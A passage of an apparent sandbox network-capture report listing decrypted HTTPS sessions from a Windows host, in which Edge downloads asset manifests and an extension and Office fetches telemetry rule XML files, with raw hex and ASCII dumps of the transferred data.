b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-30 03:34:38 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	51001	13.107.246.57	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 03:34:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T033437Z-16849878b787bfsh7zgp804my4000000067g00000000fy2b Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	51000	152.195.19.97	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730864072&P2=404&P3=2&P4=Q%2bO1Q5E1EuBpilcL9zuDGFlaXgjvdf%2bqMLbXV%2fYFI6Zblb%2bRODVJ8tlPCqjLKj2JppeVNjCdjhJz64HUTEk9GA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: NHUGjtNtrfJp/lOS9igYc+ Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 03:34:37 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10185808 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 30 Oct 2024 03:34:37 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-10-30 03:34:37 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	51003	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033438Z-16849878b78qf2gleqhwczd21s00000007p000000000brxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	51004	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:38 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033438Z-16849878b78fssff8btnns3b1400000007p000000000qa1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	51005	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:38 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 05f3f012-b01e-0070-4973-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033438Z-17c5cb586f6wnfhvhw6gvetfh40000000720000000001fkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	51007	13.107.246.45	443

